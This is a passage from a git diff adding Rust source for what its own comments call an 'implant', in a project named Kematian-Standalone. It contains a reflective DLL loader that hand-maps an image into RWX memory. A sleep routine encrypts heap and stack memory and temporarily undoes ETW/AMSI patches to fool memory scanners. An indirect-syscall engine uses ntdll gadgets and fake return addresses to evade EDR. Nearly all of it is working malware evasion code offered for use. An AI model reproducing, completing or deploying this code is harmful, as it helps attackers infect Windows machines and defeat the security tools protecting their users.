"system" fn( + function_table: usize, + entry_count: u32, + base_address: u64, +) -> i32; +type DllMainFn = unsafe extern "system" fn(hinstance: usize, reason: u32, reserved: usize) -> i32; + +// ---- Volatile scalar memory access (never lowered to libcalls) ---- + +#[inline(always)] +unsafe fn rd_u8(p: usize, off: usize) -> u8 { + core::ptr::read_volatile((p + off) as *const u8) +} + +#[inline(always)] +unsafe fn rd_u16(p: usize, off: usize) -> u16 { + core::ptr::read_volatile((p + off) as *const u16) +} + +#[inline(always)] +unsafe fn rd_u32(p: usize, off: usize) -> u32 { + core::ptr::read_volatile((p + off) as *const u32) +} + +#[inline(always)] +unsafe fn rd_u64(p: usize, off: usize) -> u64 { + core::ptr::read_volatile((p + off) as *const u64) +} + +#[inline(always)] +unsafe fn wr_u8(p: usize, off: usize, v: u8) { + core::ptr::write_volatile((p + off) as *mut u8, v); +} + +#[inline(always)] +unsafe fn wr_u64(p: usize, off: usize, v: u64) { + core::ptr::write_volatile((p + off) as *mut u64, v); +} + +// Unaligned-safe read so the base scan can step byte-by-byte. +#[inline(always)] +unsafe fn rd_u16_bytes(p: usize) -> u16 { + rd_u8(p, 0) as u16 | ((rd_u8(p, 1) as u16) << 8) +} + +#[inline(always)] +unsafe fn copy_bytes(dst: usize, src: usize, len: usize) { + for i in 0..len { + core::ptr::write_volatile((dst + i) as *mut u8, core::ptr::read_volatile((src + i) as *const u8)); + } +} + +// ---- Immediate materializers: build byte strings without .rodata ---- + +#[inline(always)] +unsafe fn fill_u64(dst: usize, lit: u64) { + wr_u8(dst, 0, (lit & 0xFF) as u8); + wr_u8(dst, 1, ((lit >> 8) & 0xFF) as u8); + wr_u8(dst, 2, ((lit >> 16) & 0xFF) as u8); + wr_u8(dst, 3, ((lit >> 24) & 0xFF) as u8); + wr_u8(dst, 4, ((lit >> 32) & 0xFF) as u8); + wr_u8(dst, 5, ((lit >> 40) & 0xFF) as u8); + wr_u8(dst, 6, ((lit >> 48) & 0xFF) as u8); + wr_u8(dst, 7, ((lit >> 56) & 0xFF) as u8); +} + +#[inline(always)] +unsafe fn fill_u32(dst: usize, lit: u32) { + wr_u8(dst, 0, (lit & 0xFF) as u8); + wr_u8(dst, 1, ((lit >> 8) & 0xFF) as u8); + wr_u8(dst, 2, ((lit >> 16) & 0xFF) as u8); + wr_u8(dst, 3, ((lit >> 24) & 0xFF) as u8); +} + +// ---- Position-independent runtime resolution ---- + +/// Current instruction pointer, obtained with a RIP-relative LEA so it is +/// valid before the image is relocated. +#[inline(never)] +fn rip_here() -> usize { + let ip: usize; + unsafe { + asm!( + "lea {}, [rip]", + out(reg) ip, + options(nomem, nostack, preserves_flags), + ); + } + ip +} + +/// x64 Process Environment Block via `gs:[0x60]`. +#[inline(never)] +unsafe fn peb_pointer() -> usize { + let peb: usize; + unsafe { + asm!( + "mov {}, qword ptr gs:[0x60]", + out(reg) peb, + options(nostack, preserves_flags), + ); + } + peb +} + +/// Scan backwards from `start` for the MZ/PE header of the running image. +unsafe fn find_image_base(start: usize) -> usize { + let mut p = start; + loop { + if p == 0 { + return 0; + } + if rd_u16_bytes(p) == 0x5A4D { + let lfanew = rd_u32(p, 0x3C) as usize; + if (0x40..1024).contains(&lfanew) { + let nt = p + lfanew; + if rd_u32(nt, 0) == 0x0000_4550 { + return p; + } + } + } + p = p.wrapping_sub(1); + } +} + +/// Rotate `v` right by one bit. +#[inline(always)] +fn ror1(v: u32) -> u32 { + v.wrapping_shr(1) | v.wrapping_shl(31) +} + +/// ror hash of a UTF-16 code-unit buffer (case-normalized). +unsafe fn hash_wide(ptr: usize, nchars: usize) -> u32 { + let mut h: u32 = 0; + let mut i = 0; + while i < nchars { + let c = rd_u16(ptr, i * 2); + h = ror1(h); + if (0x61..=0x7A).contains(&c) { + h = h.wrapping_add((c - 0x20) as u32); + } else { + h = h.wrapping_add(c as u32); + } + i += 1; + } + h +} + +/// ror hash of a NUL-terminated ASCII string, case-normalized as above. +unsafe fn hash_ascii(ptr: usize) -> u32 { + let mut h: u32 = 0; + let mut i = 0; + loop { + let c = rd_u8(ptr, i) as u32; + if c == 0 { + return h; + } + h = ror1(h); + if (0x61..=0x7A).contains(&c) { + h = h.wrapping_add(c - 0x20); + } else { + h = h.wrapping_add(c); + } + i += 1; + } +} + +/// Walk the loaded-module list for the module whose base-name rotates to +/// `want`; returns its base address or 0. +unsafe fn module_base_by_hash(peb: usize, want: u32) -> usize { + let ldr = rd_u64(peb, 0x18) as usize; + if ldr == 0 { + return 0; + } + let head = rd_u64(ldr, 0x20) as usize; + if head == 0 { + return 0; + } + let mut cur = head; + loop { + if cur == 0 { + return 0; + } + let entry = cur.wrapping_sub(0x10); + let name_len = rd_u16(entry, 0x58) as usize; + if name_len > 0 { + let name_ptr = rd_u64(entry, 0x60) as usize; + if name_ptr != 0 && hash_wide(name_ptr, name_len / 2) == want { + return rd_u64(entry, 0x30) as usize; + } + } + let next = rd_u64(entry, 0x10) as usize; + if next == head || next == cur { + break; + } + cur = next; + } + 0 +} + +/// Resolve an export of `base` by its ror-hashed name; returns its VA or 0. +unsafe fn export_by_hash(base: usize, want: u32) -> usize { + let lfanew = rd_u32(base, 0x3C) as usize; + let dd = base + lfanew + 4 + 20 + 112; + let ed_rva = rd_u32(dd, 0) as usize; + if ed_rva == 0 { + return 0; + } + let ed = base + ed_rva; + let num_names = rd_u32(ed, 24) as usize; + let addr_of_funcs = rd_u32(ed, 28) as usize; + let addr_of_names = rd_u32(ed, 32) as usize; + let addr_of_ord = rd_u32(ed, 36) as usize; + if addr_of_funcs == 0 || addr_of_names == 0 || addr_of_ord == 0 { + return 0; + } + for i in 0..num_names { + let name_rva = rd_u32(base + addr_of_names, i * 4) as usize; + if hash_ascii(base + name_rva) == want { + let ordinal = rd_u16(base + addr_of_ord, i * 2) as usize; + let fn_rva = rd_u32(base + addr_of_funcs, ordinal * 4) as usize; + if fn_rva == 0 { + return 0; + } + return base + fn_rva; + } + } + 0 +} + +/// Resolve an export by ordinal; returns its VA or 0. +unsafe fn export_by_ordinal(base: usize, ordinal: u16) -> usize { + let lfanew = rd_u32(base, 0x3C) as usize; + let dd = base + lfanew + 4 + 20 + 112; + let ed_rva = rd_u32(dd, 0) as usize; + if ed_rva == 0 { + return 0; + } + let ed = base + ed_rva; + let export_base = rd_u32(ed, 16) as usize; + let num_funcs = rd_u32(ed, 20) as usize; + let addr_of_funcs = rd_u32(ed, 28) as usize; + if ordinal < export_base as u16 || addr_of_funcs == 0 { + return 0; + } + let idx = ordinal as usize - export_base; + if idx >= num_funcs { + return 0; + } + let fn_rva = rd_u32(base + addr_of_funcs, idx * 4) as usize; + if fn_rva == 0 { + return 0; + } + base + fn_rva +} + +// ---- The loader ---- + +/// Thread-start routine invoked by the `ReflectiveLoader` export on the +/// copied, un-relocated image. Returns the address of the newly loaded DLL's +/// entry point, or 0 on failure. +#[inline(never)] +pub extern "system" fn loader_impl(lpParameter: usize) -> usize { + unsafe { + // STEP 0: locate our own (un-relocated) image base. + let ui_lib = find_image_base(rip_here()); + if ui_lib == 0 { + return 0; + } + + // STEP 1: resolve the APIs we need by name hash. + let peb = peb_pointer(); + let k32 = module_base_by_hash(peb, r(KERNEL32_HASH)); + let ntdll = module_base_by_hash(peb, r(NTDLL_HASH)); + if k32 == 0 || ntdll == 0 { + return 0; + } + let p_load = export_by_hash(k32, r(LOADLIBRARYA_HASH)); + let p_get_proc = export_by_hash(k32, r(GETPROCADDRESS_HASH)); + let p_alloc = export_by_hash(k32, r(VIRTUALALLOC_HASH)); + let p_flush = export_by_hash(ntdll, r(NTFLUSH_HASH)); + if p_load == 0 || p_get_proc == 0 || p_alloc == 0 { + return 0; + } + let f_load: LoadLibraryFn = core::mem::transmute(p_load); + let f_get_proc: GetProcAddressFn = core::mem::transmute(p_get_proc); + let f_alloc: VirtualAllocFn = core::mem::transmute(p_alloc); + let f_flush: NtFlushFn = core::mem::transmute(p_flush); + + // Register .pdata so unwinding through our code does not crash. The + // proc-name string is materialized from immediates (no .rodata). + let mut name_space = core::mem::MaybeUninit::<[u8; 20]>::uninit(); + let name_ptr = name_space.as_mut_ptr() as *mut u8 as usize; + fill_u64(name_ptr, 0x7546_6464_416C_7452); // "RtlAddFu" + fill_u64(name_ptr + 8, 0x6154_6E6F_6974_636E); // "nctionTa" + fill_u32(name_ptr + 16, 0x0065_6C62); // "ble\0" + let p_add_table = f_get_proc(ntdll, name_ptr as *const u8); + + // STEP 2: load the image into a fresh permanent location. + let lfanew = rd_u32(ui_lib, 0x3C) as usize; + if lfanew == 0 { + return 0; + } + let opt = ui_lib + lfanew + 4 + 20; + let image_base = rd_u64(opt, 24) as usize; + let size_of_image = rd_u32(opt, 56) as usize; + let ui_base = f_alloc(0, size_of_image, MEM_RESERVE_COMMIT, PAGE_EXECUTE_READWRITE); + if ui_base == 0 { + return 0; + } + + // Copy the headers. + copy_bytes(ui_base, ui_lib, rd_u32(opt, 60) as usize); + + // STEP 3: copy all sections. + let coff = ui_lib + lfanew + 4; + let num_sections = rd_u16(coff, 2) as usize; + let opt_size = rd_u16(coff, 16) as usize; + let sec = coff + 20 + opt_size; + let mut si = 0; + while si < num_sections { + let s = sec + si * 40; + let vaddr = rd_u32(s, 12) as usize; + let raw_size = rd_u32(s, 16) as usize; + let raw_ptr = rd_u32(s, 20) as usize; + copy_bytes(ui_base + vaddr, ui_lib + raw_ptr, raw_size); + si += 1; + } + + // STEP 4: fix up imports. + let dd = opt + 112; + let imp_rva = rd_u32(dd, 8) as usize; + if imp_rva != 0 { + let imp = ui_base + imp_rva; + let mut di = 0; + loop { + let desc = imp + di * 20; + let name_rva = rd_u32(desc, 12); + if name_rva == 0 { + break; + } + let hlib = f_load((ui_base + name_rva as usize) as *const u8); + let oft_rva = rd_u32(desc, 0) as usize; + let ft_rva = rd_u32(desc, 16) as usize; + let mut iat = ui_base + ft_rva; + let mut oft = if oft_rva != 0 { ui_base + oft_rva } else { 0 }; + loop { + let thunk = rd_u64(iat, 0); + if thunk == 0 { + break; + } + if oft != 0 && (thunk >> 63) == 1 { + let ordinal = (thunk & 0xFFFF) as u16; + wr_u64(iat, 0, export_by_ordinal(hlib, ordinal) as u64); + } else { + let name_rva2 = (thunk as u32) as usize; + let by_name = ui_base + name_rva2; + wr_u64(iat, 0, f_get_proc(hlib, (by_name + 2) as *const u8) as u64); + } + iat += 8; + if oft != 0 { + oft += 8; + } + } + di += 1; + } + } + + // STEP 5: apply relocations. + let reloc_dd = dd + 0x28; + let reloc_size = rd_u32(reloc_dd, 4); + if reloc_size != 0 { + let reloc_rva = rd_u32(reloc_dd, 0) as usize; + let delta = ui_base.wrapping_sub(image_base); + let mut r = ui_base + reloc_rva; + loop { + let block_size = rd_u32(r, 4); + if block_size == 0 { + break; + } + let target = ui_base + rd_u32(r, 0) as usize; + let mut count = (block_size as usize - 8) / 2; + let mut e = r + 8; + while count > 0 { + let word = rd_u16(e, 0) as usize; + let typ = (word >> 12) & 0xF; + let off = word & 0xFFF; + // Only DIR64 (10) needs applying; a single comparison is + // used deliberately: a multi-case dispatch lets LLVM emit + // a jump table in `.rodata`, whose RIP-relative address + // would be wrong in the raw copy. + if typ == 10 { + let v = rd_u64(target, off).wrapping_add(delta as u64); + wr_u64(target, off, v); + } + e += 2; + count -= 1; + } + r = r + block_size as usize; + } + } + + // STEP 5b: register the exception table (.pdata) with the OS. + let exc_dd = dd + 0x30; + let exc_rva = rd_u32(exc_dd, 0) as usize; + let exc_size = rd_u32(exc_dd, 4) as usize; + if p_add_table != 0 && exc_rva != 0 && exc_size != 0 { + let f_add: RtlAddFunctionTableFn = core::mem::transmute(p_add_table); + let _ = f_add(ui_base + exc_rva, (exc_size / 12) as u32, ui_base as u64); + } + + // Flush the instruction cache so relocated code is used. + let _ = f_flush(-1, 0, 0); + + // STEP 6: invoke the DLL entry point and return its address. + let entry = ui_base + rd_u32(opt, 16) as usize; + let f_entry: DllMainFn = core::mem::transmute(entry); + let _ = f_entry(ui_base, DLL_PROCESS_ATTACH, lpParameter); + entry + } +} diff --git a/Kematian-Standalone/rust-extractor/src/sleep.rs b/Kematian-Standalone/rust-extractor/src/sleep.rs new file mode 100644 index 0000000..341d73c --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/sleep.rs @@ -0,0 +1,263 @@ +//! Sleep obfuscation and memory encryption for runtime evasion. +//! +//! When the implant is idle (sleeping), we encrypt sensitive memory regions +//! (heap, .data) so memory scanners/dumpers can't find plaintext strings, +//! keys, or configuration. On wake, we decrypt just-in-time. +//! +//! We also *un-patch* the ETW/AMSI code modifications before sleeping and +//! re-apply them on wake: memory-scanning EDRs inspect code sections while a +//! process idles, and a permanently-modified ntdll/amsi prologue is a +//! giveaway. `patch::suspend_all` / `patch::resume_all` handle that. +//! +//! Uses per-build constants from gen.rs plus runtime entropy for the key. + +use core::arch::asm; +use core::ffi::c_void; +use core::ptr; +use core::sync::atomic::{AtomicBool, Ordering}; + +use crate::abi; +use crate::gen; +use crate::patch; +use crate::syscall; + +const MEM_COMMIT: u32 = 0x1000; +const PAGE_READWRITE: u32 = 0x04; + +#[repr(C)] +#[derive(Clone, Copy)] +struct MemoryBasicInfo { + base_address: *mut c_void, + allocation_base: *mut c_void, + allocation_protect: u32, + region_size: usize, + state: u32, + protect: u32, + _type: u32, +} + +static ENCRYPTION_ACTIVE: AtomicBool = AtomicBool::new(false); +static mut SLEEP_KEY: [u8; 32] = [0u8; 32]; + +/// Initialize the sleep-encryption key from per-build constants + runtime +/// entropy (RDTSC + stack address + tick count). +pub unsafe fn init_sleep_key() { + let mut key = [0u8; 32]; + + // Build-time constants (unique per artifact). + key[0] ^= gen::K_TOKEN; + key[1] ^= gen::K_VENDOR; + key[2] ^= gen::K_SMBIOS; + key[3] ^= gen::K_ENV; + key[4] ^= gen::K_DISPLAY; + let seed_bytes = gen::GEN_SEED.to_le_bytes(); + for i in 0..4 { + key[5 + i] ^= seed_bytes[i]; + } + + // Runtime entropy. + let mut tsc_lo: u32; + let mut tsc_hi: u32; + asm!("rdtsc", out("eax") tsc_lo, out("edx") tsc_hi, options(nostack, preserves_flags)); + + let sp: usize; + asm!("lea {}, [rsp]", out(reg) sp, options(nostack, preserves_flags)); + + let tick = abi::GetTickCount64(); + + let entropy: [[u8; 8]; 5] = [ + (tsc_lo as u64).to_le_bytes(), + (tsc_hi as u64).to_le_bytes(), + (sp as u64).to_le_bytes(), + tick.to_le_bytes(), + ((sp >> 16) as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15).to_le_bytes(), + ]; + + for (i, chunk) in entropy.iter().enumerate() { + for (j, &b) in chunk.iter().enumerate() { + key[(i * 6 + j) % 32] ^= b; + } + } + + for i in 0..32 { + ptr::write_volatile(&mut SLEEP_KEY[i] as *mut u8, key[i]); + } +} + +/// Keystream byte derived from SLEEP_KEY + position + region base. +#[inline(always)] +unsafe fn keystream_byte(offset: usize, region_base: usize) -> u8 { + let k0 = ptr::read_volatile(&SLEEP_KEY[0]) as u32; + let k1 = ptr::read_volatile(&SLEEP_KEY[8]) as u32; + let k2 = ptr::read_volatile(&SLEEP_KEY[16]) as u32; + + let mut x = k0 + .wrapping_add((offset as u32).wrapping_mul(0x9E37_79B9)) + .wrapping_add((region_base as u32).wrapping_mul(0x7F4A_7C15)) + .wrapping_add(k1) + .wrapping_add(k2); + + x ^= x >> 13; + x = x.wrapping_mul(0x5D58_85A9); + x ^= x >> 16; + x = x.wrapping_mul(0x85EBCA6B); + x ^= x << 7; + x = x.wrapping_mul(0x9E37_79B9); + + (x & 0xFF) as u8 +} + +/// XOR-encrypt a region in place (symmetric with decrypt). +unsafe fn transform_region(base: *mut u8, size: usize) { + if base.is_null() || size == 0 { + return; + } + for i in 0..size { + let byte = ptr::read_volatile(base.add(i)); + ptr::write_volatile(base.add(i), byte ^ keystream_byte(i, base as usize)); + } +} + +/// Should this region be encrypted? Only committed RW data regions — never +/// code (RX), guard pages, or mapped images. +unsafe fn should_transform(info: &MemoryBasicInfo) -> bool { + if info.state != MEM_COMMIT { + return false; + } + info.protect & 0xFF == PAGE_READWRITE +} + +/// Change page protection via the runtime-resolved VirtualProtect. +unsafe fn set_protect(addr: *mut c_void, size: usize, prot: u32) -> Option { + let vp = crate::apires::virtual_protect(); + if vp == 0 { + return None; + } + type VpFn = unsafe extern "system" fn(*mut c_void, usize, u32, *mut u32) -> i32; + let f: VpFn = core::mem::transmute(vp); + let mut old: u32 = 0; + if f(addr, size, prot, &mut old) != 0 { + Some(old) + } else { + None + } +} + +/// Encrypt all private RW data regions (heap, .data, .bss). +pub unsafe fn encrypt_memory() { + if ENCRYPTION_ACTIVE.load(Ordering::SeqCst) { + return; + } + init_sleep_key(); + + let mut info: MemoryBasicInfo = core::mem::zeroed(); + let mut addr: usize = 0; + + while addr < usize::MAX - 0x10000 { + let got = abi::VirtualQuery( + addr as *const c_void, + &mut info as *mut _ as *mut c_void, + core::mem::size_of::(), + ); + if got == 0 { + break; + } + if should_transform(&info) && info.region_size > 0 && info.region_size < 64 * 1024 * 1024 { + transform_region(info.base_address as *mut u8, info.region_size); + } + let next = info.base_address as usize + info.region_size; + if next <= addr { + break; + } + addr = next; + } + + ENCRYPTION_ACTIVE.store(true, Ordering::SeqCst); +} + +/// Decrypt all previously encrypted regions (XOR is symmetric; same pass). +pub unsafe fn decrypt_memory() { + if !ENCRYPTION_ACTIVE.load(Ordering::SeqCst) { + return; + } + + let mut info: MemoryBasicInfo = core::mem::zeroed(); + let mut addr: usize = 0; + + while addr < usize::MAX - 0x10000 { + let got = abi::VirtualQuery( + addr as *const c_void, + &mut info as *mut _ as *mut c_void, + core::mem::size_of::(), + ); + if got == 0 { + break; + } + if should_transform(&info) && info.region_size > 0 && info.region_size < 64 * 1024 * 1024 { + transform_region(info.base_address as *mut u8, info.region_size); + } + let next = info.base_address as usize + info.region_size; + if next <= addr { + break; + } + addr = next; + } + + ENCRYPTION_ACTIVE.store(false, Ordering::SeqCst); +} + +/// Sleep with memory encryption + patch-evasion: +/// encrypt → restore ETW/AMSI bytes → NtDelayExecution → re-patch → decrypt. +pub unsafe fn secure_sleep(milliseconds: u32) { + encrypt_memory(); + + // Restore original code bytes so memory scanners see a pristine ntdll/amsi + // while we idle. + patch::suspend_all(); + + // Negative LARGE_INTEGER = relative timeout, in 100ns units. + let interval: i64 = -((milliseconds as i64) * 10_000); + let _ = syscall::sys_nt_delay_execution(0, &interval as *const i64); + + // Re-apply the defense patches. + patch::resume_all(); + + decrypt_memory(); +} + +/// Selective encryption for specific sensitive buffers. +pub unsafe fn encrypt_sensitive(regions: &[(*mut u8, usize)]) { + init_sleep_key(); + for &(base, size) in regions { + transform_region(base, size); + } +} + +pub unsafe fn decrypt_sensitive(regions: &[(*mut u8, usize)]) { + for &(base, size) in regions { + transform_region(base, size); + } +} + +/// Stack hardening during sleep: encrypt a stack window below current SP so +/// stack scanners / return-address walkers can't resolve call chains. +pub unsafe fn spoof_stack() { + let sp: usize; + asm!("mov {}, rsp", out(reg) sp, options(nostack, preserves_flags)); + let offset = gen::STACK_SPOOF_OFF as usize; + let size = 4096usize; + if sp > offset + size { + init_sleep_key(); + transform_region((sp - offset - size) as *mut u8, size); + } +} + +pub unsafe fn unspoof_stack() { + let sp: usize; + asm!("mov {}, rsp", out(reg) sp, options(nostack, preserves_flags)); + let offset = gen::STACK_SPOOF_OFF as usize; + let size = 4096usize; + if sp > offset + size { + transform_region((sp - offset - size) as *mut u8, size); + } +} diff --git a/Kematian-Standalone/rust-extractor/src/syscall.rs b/Kematian-Standalone/rust-extractor/src/syscall.rs new file mode 100644 index 0000000..6181799 --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/syscall.rs @@ -0,0 +1,491 @@ +//! Indirect syscall engine (v2) — ntdll-gadget execution. +//! +//! Executing `syscall` inside our own code section is exactly what EDR +//! stack-inspection looks for: a syscall whose return address points outside +//! ntdll. This engine instead: +//! +//! 1. Resolves all syscall numbers at runtime from clean ntdll stubs +//! (`4C 8B D1 B8 ... 0F 05 C3`) using verified-correct ror-hashes. +//! 2. Picks an untouched stub as a *gadget* host: `syscall` lives at +8, +//! its `ret` at +10 — the privileged instruction executes from ntdll's +//! text section, never from ours. +//! 3. Uses a two-stage fake return ("Tartarus' gate" shape): the return +//! address visible on the stack during the syscall points INTO ntdll; +//! a second `ret` gadget there hands control back to our continuation. +//! 4. Falls back to a direct in-place syscall only if every candidate stub +//! is hooked (in which case we are already detected anyway). +//! +//! Per-build variance: which stub hosts the gadgets is selected by +//! `gen::SYSCALL_TRAMP`. + +#![allow(unused_assignments)] + +use core::arch::asm; +use core::ffi::c_void; + +use crate::antihook; +use crate::gen; + +// --------------------------------------------------------------------------- +// Rotating-hash name constants (algorithm: ror1 + add, case-insensitive). +// Verified against apires::hash_ascii / hash_wide. +// +// The constants are stored XORed with HASH_KEY so the raw ror-hash values +// never appear in `.rodata` or as immediates (AV scans for known NT API-hash +// tables). `r()` unmasks them at runtime. +// --------------------------------------------------------------------------- +/// XOR key applied to every stored API hash (fixed, so artifacts agree on the +/// decoding); the *effective* hashes stay per-build through gen-mixed strings +/// elsewhere. +pub const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A; + +/// Unmask a stored (scrambled) API hash. +/// +/// `black_box` prevents the optimizer from folding `h ^ HASH_KEY` back to the +/// raw value at compile time — the recovery happens at runtime, so the real +/// API-hash constant never appears in the binary. +#[inline(always)] +pub fn r(h: u32) -> u32 { + h ^ core::hint::black_box(HASH_KEY) +} + +pub const HASH_NTPROTECT_VIRTUAL_MEMORY: u32 = 0x70D7_B0A8 ^ HASH_KEY; +pub const HASH_NTQUERY_VIRTUAL_MEMORY: u32 = 0x7136_40A8 ^ HASH_KEY; +pub const HASH_NTALLOCATE_VIRTUAL_MEMORY: u32 = 0x7088_E8A8 ^ HASH_KEY; +pub const HASH_NTFREE_VIRTUAL_MEMORY: u32 = 0x7063_80A8 ^ HASH_KEY; +pub const HASH_NTCREATE_THREAD_EX: u32 = 0xD904_009C ^ HASH_KEY; +pub const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY; +pub const HASH_NTSET_INFORMATION_PROCESS: u32 = 0x1661_28A0 ^ HASH_KEY; +pub const HASH_NTQUERY_SYSTEM_INFORMATION: u32 = 0x3074_649B ^ HASH_KEY; +pub const HASH_NTREAD_VIRTUAL_MEMORY: u32 = 0x703D_80A8 ^ HASH_KEY; +pub const HASH_NTWRITE_VIRTUAL_MEMORY: u32 = 0x70A6_40A8 ^ HASH_KEY; +pub const HASH_LDR_LOAD_DLL: u32 = 0x4600_0094 ^ HASH_KEY; +pub const HASH_NTDELAY_EXECUTION: u32 = 0xFF9C_009B ^ HASH_KEY; +pub const HASH_ETW_EVENT_WRITE: u32 = 0xEF10_0095 ^ HASH_KEY; +pub const HASH_ETW_EVENT_REGISTER: u32 = 0xFFE2_009C ^ HASH_KEY; +pub const HASH_NTTRACE_EVENT: u32 = 0xA0C0_009F ^ HASH_KEY; +pub const HASH_AMSI_SCAN_BUFFER: u32 = 0x69F8_0098 ^ HASH_KEY; + +/// Wide-name hash of "amsi.dll" (matches apires::hash_wide). +pub const HASH_MODULE_AMSI: u32 = 0x9E00_0091 ^ HASH_KEY; + +/// Syscall numbers resolved at runtime from ntdll stubs. +#[derive(Clone, Copy)] +pub struct SyscallNumbers { + pub nt_protect_virtual_memory: u16, + pub nt_query_virtual_memory: u16, + pub nt_allocate_virtual_memory: u16, + pub nt_free_virtual_memory: u16, + pub nt_create_thread_ex: u16, + pub nt_query_information_process: u16, + pub nt_set_information_process: u16, + pub nt_query_system_information: u16, + pub nt_read_virtual_memory: u16, + pub nt_write_virtual_memory: u16, + pub ldr_load_dll: u16, + pub nt_delay_execution: u16, +} + +static mut SYSCALL_NUMS: SyscallNumbers = SyscallNumbers { + nt_protect_virtual_memory: 0, + nt_query_virtual_memory: 0, + nt_allocate_virtual_memory: 0, + nt_free_virtual_memory: 0, + nt_create_thread_ex: 0, + nt_query_information_process: 0, + nt_set_information_process: 0, + nt_query_system_information: 0, + nt_read_virtual_memory: 0, + nt_write_virtual_memory: 0, + ldr_load_dll: 0, + nt_delay_execution: 0, +}; + +// --------------------------------------------------------------------------- +// Gadget discovery +// --------------------------------------------------------------------------- + +/// A clean ntdll stub yields two gadget addresses: +/// syscall_gadget = stub + 8 (`0F 05`) +/// ret_gadget = stub + 10 (`C3`) +#[derive(Clone, Copy)] +struct Gadgets { + syscall_gadget: usize, + ret_gadget: usize, +} + +static mut GADGETS: Gadgets = Gadgets { syscall_gadget: 0, ret_gadget: 0 }; + +/// Extract the service number embedded in an ntdll stub. +unsafe fn stub_syscall_number(addr: usize) -> Option { + let mut buf = [0u8; 12]; + antihook::read_bytes_pub(addr, &mut buf); + if buf[0] == 0x4C && buf[1] == 0x8B && buf[2] == 0xD1 && buf[3] == 0xB8 { + Some(u16::from_le_bytes([buf[4], buf[5]])) + } else { + None + } +} + +/// Candidate trampoline hosts, ordered per-build via SYSCALL_TRAMP rotation. +fn stub_candidates() -> [u32; 5] { + let base = [ + r(HASH_NTDELAY_EXECUTION), + r(HASH_NTQUERY_SYSTEM_INFORMATION), + r(HASH_NTWRITE_VIRTUAL_MEMORY), + r(HASH_NTQUERY_INFORMATION_PROCESS), + r(HASH_NTREAD_VIRTUAL_MEMORY), + ]; + let rot = (gen::SYSCALL_TRAMP as usize) % base.len(); + let mut out = [0u32; 5]; + for i in 0..base.len() { + out[i] = base[(i + rot) % base.len()]; + } + out +} + +/// Resolve syscall numbers + pick clean gadget-hosting stubs. +pub unsafe fn init_syscall_numbers() { + let ntdll = crate::apires::ntdll_base(); + if ntdll == 0 { + return; + } + + macro_rules! resolve_num { + ($hash:expr, $field:ident) => { + if let Some(addr) = antihook::resolve_export(r($hash)) { + if let Some(n) = stub_syscall_number(addr) { + SYSCALL_NUMS.$field = n; + } + } + }; + } + + resolve_num!(HASH_NTPROTECT_VIRTUAL_MEMORY, nt_protect_virtual_memory); + resolve_num!(HASH_NTQUERY_VIRTUAL_MEMORY, nt_query_virtual_memory); + resolve_num!(HASH_NTALLOCATE_VIRTUAL_MEMORY, nt_allocate_virtual_memory); + resolve_num!(HASH_NTFREE_VIRTUAL_MEMORY, nt_free_virtual_memory); + resolve_num!(HASH_NTCREATE_THREAD_EX, nt_create_thread_ex); + resolve_num!(HASH_NTQUERY_INFORMATION_PROCESS, nt_query_information_process); + resolve_num!(HASH_NTSET_INFORMATION_PROCESS, nt_set_information_process); + resolve_num!(HASH_NTQUERY_SYSTEM_INFORMATION, nt_query_system_information); + resolve_num!(HASH_NTREAD_VIRTUAL_MEMORY, nt_read_virtual_memory); + resolve_num!(HASH_NTWRITE_VIRTUAL_MEMORY, nt_write_virtual_memory); + resolve_num!(HASH_LDR_LOAD_DLL, ldr_load_dll); + resolve_num!(HASH_NTDELAY_EXECUTION, nt_delay_execution); + + // Pick a clean gadget host: unhooked AND byte-verified stub shape. + for &hash in stub_candidates().iter() { + if let Some(addr) = antihook::resolve_export(hash) { + if addr != 0 && !antihook::is_address_hooked(addr) { + let mut probe = [0u8; 12]; + antihook::read_bytes_pub(addr, &mut probe); + // mov r10,rcx | mov eax,imm32 | syscall | ret + if probe[0] == 0x4C + && probe[1] == 0x8B + && probe[2] == 0xD1 + && probe[3] == 0xB8 + && probe[8] == 0x0F + && probe[9] == 0x05 + && probe[10] == 0xC3 + { + GADGETS = Gadgets { + syscall_gadget: addr + 8, + ret_gadget: addr + 10, + }; + break; + } + } + } + } +} + +pub unsafe fn get_syscall_numbers() -> &'static SyscallNumbers { + if SYSCALL_NUMS.nt_protect_virtual_memory == 0 + && SYSCALL_NUMS.nt_delay_execution == 0 + { + init_syscall_numbers(); + } + &SYSCALL_NUMS +} + +#[inline] +unsafe fn gadgets() -> (usize, usize) { + let g = core::ptr::addr_of!(GADGETS).read(); + (g.syscall_gadget, g.ret_gadget) +} + +// --------------------------------------------------------------------------- +// Indirect syscall wrappers - ntdll-gadget + fake-return layout. +// +// Register plan (ABI-safe, Windows x64): +// rcx/rdx/r8/r9 : syscall args (pinned), rcx copied to r10 manually +// rdi : syscall gadget address (callee-saved => read-only use) +// rsi : ret gadget address (callee-saved => read-only use) +// r12 : syscall number (callee-saved => read-only use) +// r13/r14 : optional args 5/6 (callee-saved => read-only use) +// r11 : internal scratch (volatile, kernel-clobbered anyway) +// eax : NTSTATUS out +// +// Rust forbids referencing explicit-register operands in asm templates, so +// every value enters through a fixed callee-saved register hardcoded in the +// template text. LLVM keeps those values alive until the block consumes them. +// +// Stack contract at `jmp rdi` (syscall gadget): +// [rsp] = ret_gadget (ntdll `C3`) <- EDR-visible "return address" +// [rsp+8] = real continuation label +// Flow: ntdll `syscall` -> stub `ret` pops ret_gadget -> jumps there -> +// that `ret` pops our continuation. Stack ends balanced. +// --------------------------------------------------------------------------- + +/// 4-arg indirect syscall. +#[inline] +pub unsafe fn sys_indirect4(num: u32, a1: usize, a2: usize, a3: usize, a4: usize) -> i32 { + let (sg, rg) = gadgets(); + if sg == 0 { + let status: i32; + asm!( + "mov r10, rcx", + "mov eax, r12d", + "syscall", + in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4, + in("r12") num, + lateout("rax") status, + options(nostack), + ); + return status; + } + let status: i32; + asm!( + "mov r10, rcx", + "mov eax, r12d", + "lea rcx, [rip+2f]", + "push rcx", + "mov r11, rsi", + "push r11", + "jmp rdi", + "2:", + in("rcx") a1, + in("rdx") a2, + in("r8") a3, + in("r9") a4, + in("rdi") sg, + in("rsi") rg, + in("r12") num, + lateout("rax") status, + out("r11") _, + ); + status +} + +/// 6-arg indirect syscall 